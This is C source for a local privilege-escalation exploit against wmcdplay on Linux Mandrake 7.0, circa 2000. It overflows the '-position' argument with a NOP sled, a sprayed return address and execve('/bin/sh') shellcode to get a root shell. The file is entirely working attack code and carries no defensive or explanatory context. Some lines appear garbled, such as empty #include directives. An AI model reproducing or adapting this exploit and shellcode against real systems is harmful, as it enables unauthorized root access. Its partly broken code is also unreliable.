/* Local exploit for Linux Mandrake 7.0's wmcdplay 1.0 beta 1 - Found by TESO crew originally, although multiple bof's exist elsewhere. - I chose the "-position" argument to exploit, TESO used the "-d". Code: dethy @ synnergy.net */ #include #include #define NOP 0x90 #define BS 1300 #define OFF 400 /* increment +- 100 */ /* uid(0); euid(0); */ char shellcode[] = "\xeb\x1f" /* jmp 0x1f [2000]*/ "\x5e" /* popl %esi [2000]*/ "\x89\x76\x08" /* movl %esi,0x8(%esi) */ "\x31\xc0" /* xorl %eax,%eax [2000]*/ "\x88\x46\x07" /* movb %eax,0x7(%esi) */ "\x89\x46\x0c" /* movl %eax,0xc(%esi) */ "\xb0\x0b" /* movb $0xb,%al [2000]*/ "\x89\xf3" /* movl %esi,%ebx [2000]*/ "\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */ "\x8d\x56\x0c" /* leal 0xc(%esi),%edx */ "\xcd\x80" /* int $0x80 [2000]*/ "\x31\xdb" /* xorl %ebx,%ebx [2000]*/ "\x89\xd8" /* movl %ebx,%eax [2000]*/ "\x40" /* inc %eax [2000]*/ "\xcd\x80" /* int $0x80 [2000]*/ "\xe8\xdc\xff\xff\xff" /* call -0x24 [2000]*/ "/bin/sh"; /* .string \"/bin/sh\" */ u_long get_sp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char **argv) { char *buffer, *ptr; long *address_ptr, *address; int i, bsize = BS, nop = NOP, offset = OFF; buffer = malloc(bsize); (char *)address = get_sp() - offset; printf("return address: %#x\n", address); ptr = buffer; address_ptr = (long *)ptr; for(i=0; i < bsize; i += 4) (int *) *(address_ptr++) = address; for(i=0; i < bsize / 2 ; i++) buffer[i] = nop; memcpy(buffer + i, shellcode, strlen(shellcode)); execl("/usr/X11R6/bin/wmcdplay", "wmcdplay", "-position", buffer, 0); } /* www.hack.co.za [21 July 2000]*/